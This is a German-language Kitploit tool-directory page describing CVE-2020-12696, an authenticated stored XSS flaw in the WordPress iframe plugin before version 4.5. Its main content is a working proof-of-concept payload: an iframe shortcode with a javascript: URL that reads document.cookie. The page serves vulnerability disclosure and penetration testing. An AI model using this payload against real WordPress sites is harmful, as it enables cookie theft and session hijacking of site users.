Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2020-12696 — Gespeichertes Cross-Site-Scripting - Iframe-Plugin - WordPress | Kitploit
Tools/GitHubGitHub/g-rubert/cve-2020-12696
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstests
GitHubg-rubert/cve-2020-12696

CVE-2020-12696

Gespeichertes Cross-Site-Scripting - Iframe-Plugin - WordPress

Repository anzeigen
vor 4 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2020-12696

root@kitploit:~
██╗  ██╗███████╗███████╗
╚██╗██╔╝██╔════╝██╔════╝
 ╚███╔╝ ███████╗███████╗
 ██╔██╗ ╚════██║╚════██║
██╔╝ ██╗███████║███████║
╚═╝  ╚═╝╚══════╝╚══════╝

Iframe < 4.5 - Authentifiziertes gespeichertes Cross-Site-Scripting (XSS)

Das iframe-Plugin vor Version 4.5 bereinigt eine URL nicht.

root@kitploit:~
Payload: </b>[iframe src="javascript:confirm(document.cookie)" width="100%" height="500"]
Version [Plugin]: </b>4.4
Getestet auf: </b>WordPress 5.2.4
Forscher:</b> Guilherme Rubert

Referenzen:

https://guilhermerubert.com/blog/cve-2020-12696/
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-12696
https://wordpress.org/plugins/iframe/#developers

Tool herunterladen